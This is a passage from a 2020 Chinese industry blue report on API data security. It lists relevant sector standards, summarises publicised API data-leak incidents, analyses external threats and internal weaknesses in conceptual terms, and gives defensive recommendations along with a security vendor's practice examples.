准，细化了 API 相关安全要求与规范。其中 YD/T 2807.4-2015《云
应用程序接口（API）数据安全蓝皮报告（2020 年）
6
资源管理技术要求 第 4 部分：接口》对涉及的接口类型进行了梳理，
规定了云资源管理平台及分平台间接口的技术要求。YD/T 3217-201
7《基于表述性状态转移（REST）技术的业务能力开放应用程序接口
（API）视频共享》则针对基于 REST 技术的视频共享能力开放 API
进行了规范，涵盖了接口资源定义、资源操作、数据结构、基本流
程和安全要求等多方面内容。
表 2 相关通信行业标准例举
序号
标准编号
标准名称
1
YD/T 3420.8-2019 《基于公用电信网的宽带客户网关虚拟
化 第 8 部分:接口要求》
2
YD/T 3496-2019
《Web 安全日志格式及共享接口规范》
3
YD/T 3242-2017
《生物灾害防治和预警系统 信息发布
网络接口技术要求》
4
YD/T 3217-2017
《基于表述性状态转移（REST）技术的
业务能力开放应用程序接口（API）视频
共享》
5
YD/T 2406-2017
《互联网数据中心和互联网接入服务信
息安全管理系统及接口测试方法》
6
YD/T 3215-2017
《互联网资源协作服务信息安全管理系
统及接口测试方法》
7
YD/T 3214-2017
《互联网资源协作服务信息安全管理系
统接口规范》
应用程序接口（API）数据安全蓝皮报告（2020 年）
7
8
YD/T 3213-2017
《内容分发网络服务信息安全管理系统
及接口测试方法》
9
YD/T 3212-2017
《内容分发网络服务信息安全管理系统
接口规范》
10
YD/T 3189-2016
《基于表述性状态转移（REST）技术的
业务能力开放应用程序接口（API）状态
呈现业务》
11
YD/T 2807.4-2015 《云资源管理技术要求 第4部分：接口》
12
YD/T 2464-2013
《基于表述性状态转移（REST）技术的
业务能力开放应用程序接口（API）搜索
业务》
13
YD/T 1661-2007
《基于互联网服务（Web Service）的开
放业务接入应用程序接口（Parlay X）
技术要求》
14
YD/T 1262-2003
《开放业务接入应用程序接口（PARLAY
API）技术要求》
来源：中国信息通信研究院
在金融行业标准方面，已发布多部标准对 API 技术的部署、管
理进行规范。其中 JR/T 0171-2020《个人金融信息保护技术规范》
要求金融机构嵌入或接入 API 时，应符合相应技术规范要求，进行
检查、评估和审计。JR/T 0185—2020《商业银行应用程序接口安全
管理规范》则对 API 技术提出了包括数据完整性保护、授权管理、
应用程序接口（API）数据安全蓝皮报告（2020 年）
8
使用情况监控、接口访问日志留存、安全密钥管理、网络安全防护
措施部署、接口安全监测、接口调用控制、接口变更处理、应急处
理方案、安全审计溯源等一系列安全要求。
表 3 相关金融行业标准例举
序号
标准编号
标准名称
1
JR/T 0185-2020
《商业银行应用程序接口安全管理规
范》
2
JR/T 0171-2020
《个人金融信息保护技术规范》
3
JR/T 0160-2018
《期货市场客户开户数据接口》
4
JR/T 0155.1-2018 《证券期货业场外市场交易系统接口
第 1 部分：行情接口》
5
JR/T 0155.2-2018 《证券期货业场外市场交易系统接口
第 2 部分：订单接口》
6
JR/T 0155.3-2018 《证券期货业场外市场交易系统接口
第 3 部分：结算接口》
7
JR/T 0151-2016
《期货公司柜台系统数据接口规范》
8
JR/T 0109.2-2015 《智能电视支付应用规范 第 2 部分：报
文接口规范》
9
JR/T 0109.4-2015 《智能电视支付应用规范 第 4 部分：通
信接口规范》
10
JR/T 0078-2014
《银行间市场数据接口》
应用程序接口（API）数据安全蓝皮报告（2020 年）
9
11
JR/T 0096.1-2012 《中国金融移动支付 联网联合 第 1 部
分：通信接口规范》
12
JR/T 0087-2012
《股指期货业务基金与期货数据交换接
口》
13
JR/T 0055.5-2009 《银行卡联网联合技术规范 第 5 部分：
通信接口》
14
JR/T 0024-2004
《国际收支统计间接申报银行接口规范
通用要素》
来源：中国信息通信研究院
在交通行业标准方面，也相继出台了包括 JT/T 1183-2018《出
租汽车 ETC 支付接口规范》、JT/T 1049-2017《道路运政管理信息
系统》在内的多部 API 相关标准和规范性文件。
表 4 相关交通行业标准例举
编号
标准编号
标准名称
1
JT/T 1183-2018
《出租汽车 ETC 支付接口规范》
2
JT/T 1049-2017
《道路运政管理信息系统》
3
JT/T 1049.5-2017 《道路运政管理信息系统第 5 部分：省
级业务系统接口》
4
JT/T 1019.3-2016 《12328 交通运输服务监督电话系统 第
3 部分：数据交换与信息共享接口技术
要求》
5
JT/T 1049.2-2016 《道路运政管理信息系统第 2 部分:数
应用程序接口（API）数据安全蓝皮报告（2020 年）
10
据资源采集接口》
6
JT/T 1049.3-2016 《道路运政管理信息系统第 3 部分:数
据资源目录服务接口》
7
JT/T 979.1-2015
《道路客运联网售票系统 第 1 部分：服
务接口规范》
8
JT/T 785-2010
《道路运输管理与服务系统数据交换接
口》
来源：中国信息通信研究院
二、近年来 API 安全态势
API 在互联网时代向大数据时代快速过渡的浪潮中承担着连接
服务和传输数据的重任，在通信、金融、交通等诸多领域得到广泛
应用。API 技术已经渗透到了各个行业，涉及包含敏感信息、重要数
据在内的数据传输、操作，乃至各种业务策略的制定环节。伴随着
API 的广泛应用，传输交互数据量飞速增长，数据敏感程度不一，API
安全管理面临巨大压力。
近年来，国内外已发生多起由于 API 漏洞被恶意攻击或安全管
理疏漏导致的数据安全事件，对相关企业和用户权益造成严重损害，
逐渐引起各方关注。为此，部分企业已经积极采取改进 API 安全策
略、出台替代方案等防护措施，应对日益严峻的安全形势。
（一）Facebook 多起数据泄露事件与 API 有关
2018 年 9 月，黑客利用 Facebook 某 API 安全漏洞获取数百万用
应用程序接口（API）数据安全蓝皮报告（2020 年）
11
户信息。Facebook 提供“View As”功能允许开发者以用户身份查看
页面，由于相关 API 存在安全漏洞，造成大量用户访问口令（Access
Token）泄露，并导致大量用户个人信息被不法分子窃取，近 5000
万用户受到影响。
2018 年 12 月，Facebook 再次曝出 API 漏洞导致用户个人信息
泄露事件，影响近 680 万用户及 1500 个使用该 API 的 App。该漏洞
允许第三方 App 访问用户 Facebook 账户内未公开的照片，App 还可
能利用该漏洞在用户访问中断或退出程序后获取用户设备缓存中的
数据。
2019 年 12 月，国外安全人员发现超过 2.67 亿条 Facebook ID、
电话号码和姓名等信息被储存在某公开数据库中。有研究显示，该
数据库中的数据可能通过某未知 API 接口抓取，并非来自用户公开
信息。Facebook 称将对这一事件展开调查。
（二）美国邮政服务 API 漏洞导致用户信息泄露
2018 年，国外研究人员发现美国邮政服务（USPS）API 漏洞可
能导致超过 6000 万用户个人信息被窃取。出现漏洞的“Informed
Visibility”接口旨在为 USPS 旗下运输业务提供实时跟踪数据，但
由于未设置如限速限流在内的防护措施，使得这一 API 接口遭到不
法分子滥用。
（三）T-Mobile API 漏洞导致用户账号被窃取
2019 年 11 月，美国电信运营商 T-Mobile 曝出 Web 应用程序界
应用程序接口（API）数据安全蓝皮报告（2020 年）
12
面漏洞。不法分子通过该漏洞窃取了 T-Mobile 用户电子邮箱地址、
设备识别信息、安全问题答案等信息，进而利用非法获取的信息冒
充客户挂失手机 SIM 卡，接管受害者电话服务，并通过该手机号码
绑定的双重认证、账户恢复等功能非法访问或窃取用户账号。约 1500
万 T-Mobile 用户受到影响。
（四）Twitter 虚假账户利用 API 批量匹配用户信息
2019 年 12 月 24 日，Twitter 公司发现大量虚假账户非法调用
提供电话号码搜索用户功能的 API 接口。不法分子可利用这一接口
获取用户信息，进而开展钓鱼攻击、电话诈骗等违法活动。Twitter
于事件曝光后紧急修改该接口功能使相关查询无法返回具体的账户
名称。
（五）考拉征信非法出售 API 导致个人信息泄露
2019 年 11 月，拉卡拉支付旗下的考拉征信因非法缓存公民个人
信息、出售查询 API 遭警方调查。警方表示，经查考拉征信从上游
公司获取接口后又违规将查询接口卖出，并利用查询接口非法缓存
公民姓名、身份证号码和身份证照片等个人身份信息一亿多条，供
下游公司查询牟利，从而造成公民身份信息包括身份证照片的大量
泄露。案件发生后，警方已将考拉征信涉案人员抓获。
（六）新浪微博用户查询接口被恶意调用导致数据泄
露
应用程序接口（API）数据安全蓝皮报告（2020 年）
13
2020 年 3 月 19 日，媒体报道新浪微博因用户查询接口被恶意调
用导致 App 数据泄露。新浪微博方面称此次数据泄露可追溯至 2018
年末，有用户非法调用 App 用户查询接口，通过批量上传手机通讯
录匹配用户账号昵称，并结合其他渠道获取的信息进行出售。事件
曝光后，新浪微博表示将采取升级接口安全策略等措施，做好用户
个人信息保护工作。
（七）微信团队收回小程序"用户实名信息授权"接口
2020 年 3 月 31 日，腾讯微信团队在“微信开放社区”发布《关
于收回小程序"用户实名信息授权"接口的相关说明》，称为进一步
提升用户使用的安全体验，将于 2020 年 5 月 31 日收回小程序“用
户实名信息授权”接口，并停止了该接口的申请和接入。微信方要
求无相关业务场景或需求的小程序停止使用该接口，并向仍有用户
实名认证需求的小程序提供“实名信息校验接口”作为替代方案。
三、安全风险分析
（一）外部威胁因素
从近年API安全态势可以看出，API技术被应用于各种复杂环境，
其背后的数据一方面为企业带来商机与便利，另一方面也为数据安
全保障工作带来巨大压力。特别在开放场景下，API 的应用、部署面
向个人、企业、组织机构等不同用户主体，面临着外部用户群体庞
大、性质复杂、需求不一等诸多挑战，需时刻警惕外部安全威胁。
应用程序接口（API）数据安全蓝皮报告（2020 年）
14
1.API 漏洞导致数据被非法获取
在 API 的开发、部署过程中不可避免产生安全漏洞，这些漏洞
通常存在于通信协议、请求方式、请求参数和响应参数等环节。不
法分子可能利用 API 漏洞（如缺少身份认证、水平越权漏洞、垂直
越权漏洞等）窃取用户信息、企业核心数据。例如在开发过程中使
用非 POST 请求方式、Cookie 传输密码等操作登录接口，存在 API 鉴
权信息暴露风险，可能使得 API 数据被非法调用或导致数据泄露。
2.API 成为外部网络攻击的重要目标
API 是信息系统与外部交互的主要渠道，也是外部网络攻击的主
要对象之一。针对 API 的常见网络攻击包括重放攻击、DDoS 攻击、
注入攻击、会话 cookie 篡改、中间人攻击、内容篡改、参数篡改等。
通过上述攻击，不法分子不仅可以达到消耗系统资源、中断服务的
目的，还可以通过逆向工程，掌握 API 应用、部署情况，并监听未
加密数据传输，窃取企业数据。
3.网络爬虫通过 API 爬取大量数据
网络爬虫能够在短时间内爬取目标应用上的所有数据，常表现
为某时间段内高频率、大批量进行数据访问，具有爬取效率高、获
取数据量大等特点。通过开放 API 对 HTML 进行抓取是网络爬虫最简
单直接的实现方式之一，不法分子通常采用假 UA 头和假 IP 隐藏身
份，一但获取企业内部账户，可能利用网络爬虫获取该账号权限内
的所有数据。如果存在水平越权和垂直越权等漏洞，在缺少有效的
应用程序接口（API）数据安全蓝皮报告（2020 年）
15
权限管理机制情况，不法分子可以通过掌握的参数特征构造请求参
数进行遍历，导致数据被全量泄露。此外，移动应用软件客户端数
据多以 JSON 形式传输，解析更加简单，反爬虫能力更弱，更易受到
网络爬虫威胁。
4.合作第三方非法留存接口数据
企业通过 API 实现与合作第三方之间数据交互的过程中，可能
存在合作方恶意留存接口数据的风险。以个人身份验证类合作为例，
在需要进行实名验证的时候，合作方可通过 API 请求调用相关个人
身份信息。正常情况下，服务器获取请求后在后端进行验证并返回
结果，此过程中恶意合作方可能留存验证结果，经过长时间积累，
非法变相获取大量的个人身份信息资源，对企业数据库形成事实上
的拖库。
5.API 请求参数易被非法篡改
不法分子可通过篡改 API 请求参数，结合其它信息匹配映射关
系，达到窃取数据的目的。以实名身份验证过程为例，用户端上传
身份证照片后，身份识别 API 提取信息并输出姓名和身份证号码，
再传输至公安机关相应 API 进行核验，并输出认证结果。此过程中，
不法分子可通过修改身份识别 API 请求参数中的姓名、身份证号码
组合，通过遍历的方式获取姓名与身份证号码的正确组合。可被篡
改的 API 参数通常有姓名、身份证号码、账号、员工 ID 等。此外，
企业中员工 ID 与职级划分通常有一定关联性，可与员工其它信息形
应用程序接口（API）数据安全蓝皮报告（2020 年）
16
成映射关系，为 API 参数篡改留有可乘之机。
（二）内部脆弱性因素
应对外部威胁的同时，API 也面临许多来自内部的风险挑战。一
方面，传统安全通常是通过部署防火墙、WAF、IPS 等安全产品，将
组织内部与外部相隔离，达到纵深防御的目的，但是这种安全防护
模式建立在威胁均来自于组织外部的假设前提上，无法解决内部隐
患。另一方面，API 类型和数量随着业务发展而扩张，通常在设计初
期未进行整体规划，缺乏统一规范，尚未形成体系化的安全管理机
制。因此，从内部脆弱性来看，影响 API 安全的因素主要包括以下
几方面。
1.身份认证机制
身份认证是保障 API 数据安全第一道防线。一方面，若企业将
未设置身份认证的内网 API 接口或端口开放到公网，可能导致数据
被未授权访问、调用、篡改、下载。不同于门户网站等可以公开披
露的数据，部分未设置身份认证机制的接口背后涉及企业核心数据，
暴露与公开易引发严重安全事件。另一方面，身份认证机制可能存
在单因素认证、无口令强度要求、密码明文传输等安全隐患。在单
因素身份验证的前提下，如果口令强度不足，身份认证机制将面临
暴力破解、撞库、钓鱼、社会工程学攻击等威胁。如果未对口令进
行加密，不法分子则可能通过中间人攻击获取接口认证信息。
应用程序接口（API）数据安全蓝皮报告（2020 年）
17
2.访问授权机制
访问授权机制是保障 API 数据安全的第二道防线。用户通过身
份认证即可进入访问授权环节，此环节决定用户是否有权调用该接
口进行数据访问。系统在识别用户之后，会根据权限控制表或权限
控制矩阵判断该用户的数据操作权限。常见的访问权限控制策略有
三种，基于角色的授权（Role-Based Access Control)、基于属性
的授权（Attribute-Based Access Control）以及基于访问控制表
授权（Access Control List）。访问授权机制风险通常表现为用户
权限大于其实际所需权限，从而该用户可以接触到本无权访问的数
据。导致这一风险的常见因素包括授权策略选择不恰当、授权有效
期过长、未及时收回权限等。
3.数据脱敏策略
除了为不同的业务需求方提供数据传输以外，为前端界面展示
提供数据支持也是 API 的重要功能之一。API 数据脱敏策略通常可分
为前端脱敏和后端脱敏。前者指数据被 API 传输至前端后再进行脱
敏处理；后者则相反，API 在后端完成脱敏处理，再将已脱敏数据传
输至前端。如果未在后端对个人敏感信息等数据进行脱敏处理，且
未加密传输，一旦流量被截获、破解，将对企业、公民个人权益造
成严重影响。此外，未脱敏数据在传输至前端时，如被接收方终端
缓存，也可能导致敏感数据暴露。而脱敏策略不统一可能导致相同
数据脱敏部分不同，不法分子可通过拼接方式获取原始数据，造成
应用程序接口（API）数据安全蓝皮报告（2020 年）
18
脱敏失效。
4.返回数据筛选机制
如果 API 缺乏有效的返回数据筛选机制，可能由于返回数据类
型过多、数据量过大等因素形成安全隐患。首先，部分 API 设计初
期未根据业务进行合理细分，未建立单一、定制化接口，使得接口
臃肿、数据暴露面过大。其次，在安全规范欠缺和安全需求不明确
的情况下，API 开发人员可能以提升速度为目的，在设计过程中忽视
后端服务器返回数据的筛选策略，导致查询接口会返回符合条件的
多个数据类型，大量数据通过接口传输至前端并进行缓存。如果仅
依赖于前端进行数据筛选，不法分子可能通过调取前端缓存获取大
量未经筛选的数据。
5.异常行为监测
异常访问行为通常指非工作时间访问、访问频次超出需要、大
量敏感信息数据下载等非正常访问行为。即使建立了身份认证、访
问授权、敏感数据保护等机制，有时仍无法避免拥有权限的用户进
行数据非法查询、修改、下载等操作，此类访问行为往往未超出账
号权限，易被管理者忽视。异常访问行为通常与可接触敏感数据岗
位或者高权限岗位密切相关。如负责管理客户信息的员工可能通过
接口获取用户隐私信息出售谋利；即将离职的高层管理人员可能将
大量公司机密和敏感信息带到下一家公司，以在商业竞争中占据优
势等。美国执法机构和网络安全监管机构调查结果显示超过 85%的安
应用程序接口（API）数据安全蓝皮报告（2020 年）
19
全威胁来自企业内部，企业必须高度重视可能由内部人员引发的数
据安全威胁。
6.特权账号管理
从数据使用的角度来说，特权账号指系统内具有敏感数据读写
权限等高级权限的账号，涉及操作系统、应用软件、企业自研系统、
网络设备、安全系统、日常运维等诸多方面，常见的特权账号有 admin、
root、export 账号等。除企业内部运维管理人员外，外包的第三方
管理人员、临时获得权限的设备原厂工程人员等也可能使用特权账
号。多数特权账号可通过 API 进行访问，有心者可能以特权账号非
法查看、篡改、下载企业数据。此外，部分企业出于提升开发运维
速度的考虑会在团队内共享账号，并允许不同的开发运维人员从各
自终端登陆并操作，一旦发生数据安全事件，难以快速定位责任主
体。
7.第三方管理
当前，需要共享业务数据的应用场景日益扩展，第三方调用 API
访问企业数据完成业务工作的同时，也成为了企业的安全短板。尤
其对于涉及个人敏感信息或重要数据的 API，如果企业忽视对第三方
进行风险评估和有效管理、缺少对其数据安全防护能力的审核，一
旦第三方存在安全隐患或不法企图，可能发生数据被篡改、泄露、
甚至非法贩卖等安全事件，对企业数据安全、社会形象乃至经济利
益造成影响。
应用程序接口（API）数据安全蓝皮报告（2020 年）
20
四、安全建议
API 安全是当今时代数据安全保护的重要一环。企业应在把握自
身现状的基础上梳理 API 相关安全风险，建立健全 API 安全管理制
度，针对事前、事中和事后各阶段管理和技术需求差异，部署相应
安全措施，加强数据安全风险防范。
（一）事前
1.统一 API 设计开发规范，减少安全隐患
缺乏统一规范、开发维护不当导致的安全漏洞等脆弱性因素可
能为 API 带来严重安全隐患。建议企业建立健全 API 设计、开发、
测试等环节标准规范和管理制度，引导 API 开发运维流程标准化，
提高对 API 安全的重视程度，将相关要求以制度规程等形式进行沉
淀、落实，避免遗留严重安全漏洞、恶性 bug 等脆弱性因素，威胁
接口安全。
2.强化 API 上线、变更、下线环节实时监控，确保全生
命周期安全
API 全生命周期包括 API 上线、变更和下线三个环节。企业应对
自身 API 部署情况进行全面排查，梳理统计 API 类型、活跃接口数
量、失活接口数量等资产现状，针对 API 上线、运行中变更、失活
后下线等环节进行实时监控。企业应在新 API 上线前进行风险评估，
发现问题暂停上线并及时调整，确保上线 API 安全性；上线后应对
应用程序接口（API）数据安全蓝皮报告（2020 年）
21
其运行情况进行实时监控，发现接口运行异常、恶意调用等情况及
时采取防护措施，修复相应问题；若 API 不再使用，企业应遵循下
线流程及时进行处理，防止失活 API 持续在线，成为安全隐患。
3.完善 API 身份认证和授权管理机制，强化接口接入安
全审核
企业应针对除信息公开披露场景以外的 API 建立有效的身份认
证机制，对现有身份认证机制密码强度、双因素认证、密码更新等
安全要素进行评估，健全身份认证机制；在建立有效的身份认证基
础上，建立健全访问授权机制，严格遵循最小必要权限原则，尤其
针对提供数据增、删、改等高危操作的 API，严格规范用户权限管理；
对涉及敏感信息、重要数据的 API 加强接入方资质和数据安全防护
能力审核，规范合作要求，避免因接入方原因导致数据安全事件。
4.健全 API 安全防护体系，提升抵御外部威胁能力
企业应加强 API 安全防护能力建设，针对重要接口部署专门的
防护设备保障其安全，建立健全安全防护体系。具体措施包括但不
限于部署 API 网关统一接口管理；利用 VPN 等加密通道传输数据；
部署应用防护系统保护 Web 应用；建立 API 访问白名单机制；部署
抗 DDoS 工具等。从而提升企业 API 抵御外部威胁的能力，降低数据
安全事件发生几率。
应用程序接口（API）数据安全蓝皮报告（2020 年）
22
5.加大 API 安全保护宣传力度，提高员工安全意识
企业应加大对 API 安全保护的宣传力度，缩小各部门之间对 API
安全重视程度差异，提高员工特别是 API 开发运维人员的安全意识，
进一步提高企业整体数据安全认识。推动 API 保护相关机制、技术
手段落地，避免因 API 安全管理疏漏等内部因素导致数据泄露、丢
失、损毁等安全事件，对企业业务发展、社会形象造成负面影响。
（二）事中
1.加强 API 身份认证实时监控能力建设
企业应加强 API 身份认证实时监控能力建设，重点监控高频登
录尝试、空 Referer、非浏览器 UA 头登录等具有典型机器行为特征
的操作，对异常登录、调用行为进行分析，发现恶意行为及时告警。
此外，企业应实时监控接口运行中的单因素认证、弱密码、密码明
文传输等脆弱性问题，建立账号登录行为画像，形成用户常规登录
特征基线，对不同 IP 登录、连续认证失败、境外 IP 访问等敏感操
作进行监测分析，发现账号共享、借用、兼任等违规行为及时对相
关账号操作进行限制、阻断，避免安全事件的发生或扩大。
2.加强异常行为实时监测预警能力建设
企业应加强异常访问行为监测能力建设，针对短时间内大量获
取敏感数据、访问频次异常、非工作时间获取敏感数据、敏感数据
外发等异常调用、异常访问行为进行实时监测分析，根据自身业务
应用程序接口（API）数据安全蓝皮报告（2020 年）
23
情况建立正常行为基线，防范内部违规获取数据、外部攻击或网络
爬虫等数据安全风险。此外，由于内部特权账号权限远超普通用户
账户，企业应针对此类账号建立实时行为监测和审计机制，对账号
异常、高危操作进行严格管控，建立精准、细化的特权账号行为基
线，及时对特权账号异常行为进行预警，并定期进行特权帐号安全
审计。
3.加强数据分类分级管控能力建设
企业应梳理 API 数据类型，落实数据分类分级管控措施，针对
API 涉及的敏感数据按照统一策略进行后端脱敏处理，并结合数据加
密、传输通道加密等方式保护 API 数据传输安全。企业应严格落实
敏感数据保护策略，部署敏感数据监测工具，及时发现未脱敏展示、
前台脱敏等现象，并对接口流量进行分析，杜绝敏感数据明文传输
等违规行为。企业应评估涉及敏感数据的 API 参数设置情况，重点
关注接口单次返回数据量过多、返回数据类型过多等情况，建立后
端数据量、数据类型筛查机制，确保敏感数据暴露可知、可控、可
追溯。
4.加强 API 数据流向监控能力建设
企业应建立 API 数据流量监测机制，实时监控数据流向，加强
数据流向监控能力建设。通过分析访问和被访问 IP 的局域、地域或
法域，实现对数据流向的实时监控，防范数据接收方非法出售或滥
用个人信息风险，发现相关违法违规事件及时阻断 API 接入，为后
应用程序接口（API）数据安全蓝皮报告（2020 年）
24
续溯源调查积极存证。此外，企业应对境外 IP 访问内网 API 或者内
部 IP 访问境外 API 的情况重点关注、及时预警，确保敏感数据出境
活动合法合规。
（三）事后
1.建立健全应急响应机制
当前 API 应用广泛，业务逻辑复杂，涉及数据量大，一旦发生
安全事件，可能给企业、用户带来严重影响。企业应严格落实《网
络安全法》《电信和互联网用户个人信息保护规定》（工信部第 24
号令）等法律法规要求，出现数据泄露等严重安全事件及时告知相
关用户并上报电信主管部门，制定 API 安全事件应急响应预案并纳
入企业现有应急管理体系，应急流程包括但不限于监测预警及报告、
数据泄露事件处置、危机处理及信息披露等环节。
2.建立健全日志审计机制
API 数据安全审计可以帮助企业有效识别具体的高危访问行为，
为企业 API 安全提供有力帮助。建议企业对接口访问、数据调用等
操作进行完整日志记录，并定期开展安全审计，对 API 安全进行回
顾，结合旁路 API 流量捕获等技术手段，对传输协议等安全要点进
行分析还原，识别 API 漏洞、异常调用、外部攻击等安全风险。同
时，建议企业根据安全审计结果编制审计报告，跟踪审计意见的后
续落实，并依据相关监管要求妥善保存日志信息等，为安全事件追
应用程序接口（API）数据安全蓝皮报告（2020 年）
25
溯提供依据。
3.建立健全数据泄露溯源追责机制
企业应建立健全数据泄露溯源追责机制，制定 API 相关安全事
件溯源方案，发生安全事件后及时追踪数据泄露途径、类型、规模、
原因，分析根本原因，提取有效证据。结合审计机制进行事件溯源，
在确定责任主体后，严肃问责。API 数据泄露溯源机制可分为线索溯
源和主体溯源，线索溯源以泄露数据内容为线索，在系统中进行回
溯，提取 API 日志中的相关记录进行分析，确实责任人和泄露路径；
主体溯源根据账号、接口信息等访问特征线索在日志流量信息中进
行筛选，分析匹配特征，追溯事件源头。由于传统人工溯源费时费
力，溯源结果准确度有限，建议企业结合自身需求部署自动化溯源
工具，提升溯源效率，为企业 API 安全管理提供助力。
应用程序接口（API）数据安全蓝皮报告（2020 年）
26
五、附录
（一）全知科技 API 安全实践
1.开放 API 安全实践
（1）场景简介
开放 API 将接口开放到公网，为不同用户、产品提供数据操作、
传输渠道。开放 API 可分为两类，一类通过网页交互即可调用后端
API 进行数据查询，例如企业门户网站；一类仅对注册用户开放，需
用户主动注册后才可调用，例如政务开放平台数据调用接口。此类
API 主要具有两大特点。一是接口对社会公众开放。只要获知 URL 链
接，任何人都可以对 API 进行访问，而调用 API 接口即代表着调用
API 背后不同的业务功能，获取不同的服务数据。二是 API 参数由数
据提供方进行定义。全面开放的 API 通常无法满足所有用户的访问
需求，为了业务的正常开展，通常需进行标准化的接口定制。
（2）安全方案
企业应全面梳理其开放 API 现状，了解开放 API 数量、性质、
活跃程度，确保没有内网接口开放到外网的情况，并关注活跃 API
数据调用情况是否存在异常，及时下线失活 API。
在此基础上，企业可采用多种技术手段保护 API 安全，降低安
全风险。一是对 API 进行生命周期监控，二是健全账号认证机制和
授权机制，三是实时监控 API 账号登录异常情况，四是执行敏感数
应用程序接口（API）数据安全蓝皮报告（2020 年）
27
据保护策略，五是建立接口防爬虫防泄漏保护机制。
来源：全知科技（杭州）有限责任公司
API 生命周期监控：企业需实时监控新 API 上线、API 在运行过
程中变更，API 失活后正确下线情况，并在新 API 上线前对其进行风
险评估，对通信协议、路径、请求方式、请求参数、响应参数等要
素中的潜在安全漏洞进行排查，发现可能被攻击导致数据泄露的安
全漏洞，应及进行调整，确保上线前的安全性和可靠性。API 上线后，
企业则需实时监控其运行状态，发现风险应及时修正后再重新上线。
若 API 由于业务更迭等情况不再使用，企业应按照正确流程对其进
行下线。
健全认证授权机制：首先，企业需排查缺少身份认证的高危开
放 API，并对其建立身份认证机制。其次，企业应采取强密码、双因
素认证等方式增强身份认证机制。此外，在身份认证的基础上，企
业应建立健全授权机制，对用户账号授予所需最小权限，尤其注意
应用程序接口（API）数据安全蓝皮报告（2020 年）
28
增、删、改等高危操作，如无必要，不授予系统管理员 admin 或 export
等高级权限。建立健全认证授权机制一方面可以确保数据调用方为
真实用户而非网络爬虫，另一方面可以保证用户访问记录可追溯。
登录异常行为监控：企业应建立 API 异常登陆实时监控机制，
监测账号异常登陆情况并及时预警。账号异常登录情况可能由账号
暴力破解、撞库、单因素认证等登录系统脆弱性导致。登陆异常情
况监控机制可对接口登陆方式、IP 登陆失败频率、失败原因等进行
分析，发现异常情况及时预警。
敏感数据保护策略：企业应对开放 API 涉及的敏感数据进行梳
理，在分类分级后按照相应策略进行脱敏展示，所有敏感数据脱敏
均在后端完成，杜绝前端脱敏。此外敏感数据需通过加密通道进行
传输，防止传输过程中的数据泄露。以金融类系统为例，客户端应
用软件、银行卡受理设备、自助终端设备等界面展示的个人金融信
息需进行脱敏处理，确保登陆系统前不展示敏感信息。在此基础上，
企业应部署敏感数据监测工具，实时监测前端界面是否存在敏感数
据明文显示，以及通过流量分析检测是否存在敏感数据明文传输，
验证是否有效执行敏感数据保护策略。
部署防爬虫、防泄漏保护机制：企业应部署接口防爬虫、防泄
漏保护机制，分析用户访问行为特征，辨别该访问是真实用户行为
还是机器行为，并根据网络爬虫特征制定监控策略，部署工具进行
实时监控预警，发现潜在数据泄露事件及时触发熔断机制，阻断网
络爬虫行为对 API 数据安全的威胁。
应用程序接口（API）数据安全蓝皮报告（2020 年）
29
2.面向合作方 API 安全实践
（1）场景简介
商业生态系统的建立涉及企业与顾客、市场媒介、供应商等各
方的合作互动，面向合作方 API 被广泛用于合作方之间的数据交互
共享。此类 API 主要具有 3 大特点。一是数据交换类型多。通过此
类 API 进行数据交换的多为企业合作伙伴，包括但不限于资源供应
商和服务提供商。二是数据交换参与方数量少。开放 API 用户一般
以个人居多，组织较少，而面向合作方的 API 调用则以组织居多，
个人较少。三是接口定义需双方协商。此类 API 需在满足业务要求
的前提下根据双方要求进行自定义，往往需预留等多种接口以满足
业务需求。
（2）安全方案
企业应建立完善的供应商接口管理制度，包括准入制度、授权
管理制度和退出制度等，约束企业与合作方间的合作，从源头上对
合作方 API 进行把控，预防数据安全风险。在合作结束后，企业应
及时下线相关接口，并按照合作协议要求，进行数据留存审计，确
保合作方完成数据删除和销毁。
此外，企业还可通过部署相关技术手段保护面向合作方的 API
安全。一是部署敏感数据保护策略，二是建立账号异常行为监测机
制，三是部署自动化审计与溯源工具。
应用程序接口（API）数据安全蓝皮报告（2020 年）
30
来源：全知科技（杭州）有限责任公司
敏感数据保护策略：企业应对数据交换过程中涉及的敏感数据
制定保护策略，并通过脱敏、匿名化、去标识化、数据加密、传输
通道加密等方式对敏感数据加以保护。同时，组织机构还可以选择
VPN 传输、专线传输等安全性更高的安全防护手段，保护 API 接口数
据安全。
账号异常行为监测：企业应建立账号异常行为风险监测机制，
根据业务实际情况制定监控策略，实时监控合作方账号操作行为，
一旦监测发现存在越权操作、非工作时间访问、非工作时间大量获
取数据等情况，及时预警，降低数据安全事件风险。
自动化审计与溯源：企业与合作方之间通过 API 进行数据分享
频繁，流动数据量大。一方面企业应通过系统日志准确记录和保存
接口数据共享的情况，定期审计，及时发现数据交换中存在的风险。
另一方面企业应部署自动化审计和溯源工具，对安全事件快速溯源、
精准定位，防止数据泄露，保护企业数据安全。
应用程序接口（API）数据安全蓝皮报告（2020 年）
31
3.内部 API 安全实践
（1）场景简介
除了开放到公网、面向合作方的 API 之外，企业内部的应用系
统通常也会通过内部 API 进行数据访问。此类 API 主要有 3 大特点。
一是众多应用系统衍生大量接口。企业内部存在众多应用系统，根
据业务功能的划分和用户群体的不同可能会衍生出诸多内部 API 接
口。二是接口调用群体庞杂。企业内部员工因所处的部门和层级不
同，存在不同业务需求和权限，造成 API 调用群体庞杂，为安全管
理带来一定挑战。三是接口参数由企业根据自身需求进行定义。企
业内部可能存在多种 API，需要根据内部人员对于业务功能的需求分
别进行定义。
（2）安全方案
与开放 API 接口一样，企业应梳理内部 API 现状，围绕内部 API
生命周期建立有效管理机制。内部 API 接口可能随内部业务频繁迭
代，企业也会引入新的系统或设备到内部网络，此时需额外关注内
部 API 的安全要求。此外，企业还应部署或强化相应技术手段对内
部 API 接口进行保护。一是 API 生命周期实时监控，二是加强身份
验证机制，三是建立敏感信息展示监测预警机制，四是建立账号风
险监测机制，五是数据行为威胁实时监控，六是敏感数据大量暴露
监测，七是特权账号行为实时监测和审计机制，八是自动化数据泄
露溯源追责。
应用程序接口（API）数据安全蓝皮报告（2020 年）
32
来源：全知科技（杭州）有限责任公司
API 生命周期实时监控：企业应在掌握内部接口现状的基础上，
在新 API 上线前进行安全评估，严格内部 API 接口变更管理，对失
活接口及时处理。接口现状发生改变应及时发布预警，并及时响应
和处理。
身份验证机制：身份认证是企业数据安全的第一道防线，企业
应从安全需求、成本和系统兼容性等方面进行综合考虑，选择如双
因素认证、强密码口令、生物识别信息等认证措施，完善内部 API
身份验证机制。
敏感信息展示监测预警机制：企业应在确保脱敏策略一致的基
